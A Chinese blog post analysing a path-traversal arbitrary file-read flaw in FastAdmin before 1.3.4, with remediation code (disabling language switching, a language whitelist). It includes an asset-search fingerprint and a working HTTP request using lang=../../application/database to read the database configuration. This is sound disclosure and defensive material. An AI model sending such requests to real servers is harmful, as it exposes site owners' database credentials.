当前位置:首页 > 技术 > 正文内容

FastAdmin 框架路径穿越导致的文件读取漏洞分析与处置

访客 技术 2026年8月27日 1

FastAdmin 是一款基于 ThinkPHP 和 Bootstrap 构建的后台管理框架,因其高效的开发体验而在开发者群体中广泛使用。然而,在 FastAdmin 1.3.4 之前的版本中,存在一个由于多语言处理逻辑不当导致的任意文件读取漏洞。攻击者通过构造特定的路径穿越攻击载荷,可以读取服务器上的敏感配置文件,甚至获取数据库凭据。

漏洞详情

该漏洞主要源于系统在处理 lang 语言参数时未进行充分的路径过滤。通过 /index/ajax/lang 接口,攻击者可以利用 ../ 等遍历字符跳转至系统敏感目录。

受影响版本

  • FastAdmin < 1.3.4

资产测绘特征

app="FASTADMIN-框架"

漏洞复现

攻击者通过发送如下 HTTP 请求,可以尝试读取 application/database.php 文件的内容(该文件通常包含数据库连接账户和密码):

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: target-website.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close

若服务器存在漏洞,响应包中将包含目标 PHP 文件的源码或部分敏感配置信息。

漏洞利用示例

修复方案

1. 快速规避措施

如果业务场景不需要支持多语言切换,最简单有效的方法是关闭多语言自动检测功能。修改 application/config.php 配置文件,将 lang_switch_on 设置为 false

// application/config.php
'lang_switch_on' => false,

2. 代码层逻辑加固

针对需要保留多语言功能的站点,可以通过增加语言包白名单的方式进行加固。首先,在 application/common/behavior/Common.php 中定义初始化逻辑,限制允许加载的语言标识:

namespace app\common\behavior;

use think\Config;
use think\Lang;

class Common
{
    public function appInit()
    {
        // 获取配置的允许语言列表,默认为中文和英文
        $whiteList = Config::get('allow_lang_list') ?: ['zh-cn', 'en'];
        Lang::setAllowLangList($whiteList);
    }
}

随后,需要在框架的钩子配置文件 application/tags.php 中注册上述行为。在 app_init 数组中添加 Common 行为类的路径:

// application/tags.php
return [
    'app_init' => [
        'app\\common\\behavior\\Common',
    ],
    // 其他配置...
];

通过上述修改,系统将强制校验 lang 参数是否在预设的白名单内,从而有效阻断路径穿越攻击。

返回列表

上一篇:HTTP 响应协议详解

没有最新的文章了...

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

linux screen 用法详情 (nohup 的替代方案)

一、screen 是什么?能干嘛?screen 是一个终端复用器,可以:在一个 SSH 会话中开多个“虚拟终端”SSH 断线后,程序仍然在后台运行随时重新连接到原来的会话特别适合:nohup 的替代方案跑脚本 / 爬虫 / 训练模型运维、远程开发二、安装 screen# CentOS / Rocky / Almayum install -y screen# Debian / Ubuntuapt i...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。